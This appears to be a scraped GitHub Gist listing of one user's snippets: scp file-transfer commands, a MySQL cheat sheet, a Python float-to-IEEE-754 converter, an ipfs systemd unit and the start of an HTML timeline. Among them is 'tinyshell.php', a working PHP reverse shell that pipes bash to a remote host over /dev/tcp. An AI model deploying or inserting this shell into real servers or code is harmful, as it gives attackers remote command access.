Skip to content

Instantly share code, notes, and snippets.

@mosquida
mosquida / scp-commands
Created January 21, 2024 01:36
scp file transfer
// Must not be already connected to ssh session
// ubuntu = server username
// Get file from remote server
scp -p [email protected]:/home/ubuntu/file_to_get file_name_when_get_locally
// Send file to server from local
scp -p /path/file_to_send [email protected]:/home/ubuntu/dir_to_save
@mosquida
mosquida / tinyshell.php
Last active October 18, 2023 16:03 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

MySQL Cheat Sheet

Help with SQL commands to interact with a MySQL database

MySQL Locations

  • Mac /usr/local/mysql/bin
  • Windows /Program Files/MySQL/MySQL version/bin
  • Xampp /xampp/mysql/bin

Add mysql to your PATH

@mosquida
mosquida / float_to_ieee754.py
Last active April 24, 2023 04:47
Base 10 Decimal Number to 32 Bit Single Precision IEEE 754 Binary Floating Point Standard
import struct
def float_to_iee754_32bit(x):
# !f = single-precision floating-point number bin
# !I = unsigned 32-bit integer (0x00 = 0)
binary = struct.unpack('!I', struct.pack('!f', x))[0]
out = "{:032b}".format(binary)
print("\nSign")
print(out[0], end="\n\n")
@mosquida
mosquida / ipfs.service
Created March 24, 2023 06:21
ipfs.service daemon
[Unit]
Description=ipfs daemon
[Service]
ExecStart=/usr/local/bin/ipfs daemon --enable-gc
Restart=always
User=ubuntu
Group=ubuntu
Environment="IPFS_PATH=/home/ubuntu/ipfs/data"
[Install]
WantedBy=multi-user.target
@mosquida
mosquida / timeline.html
Created August 29, 2022 01:50
timeline on side
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style type="text/css">
.timeline {
margin: 0 auto;
width: auto;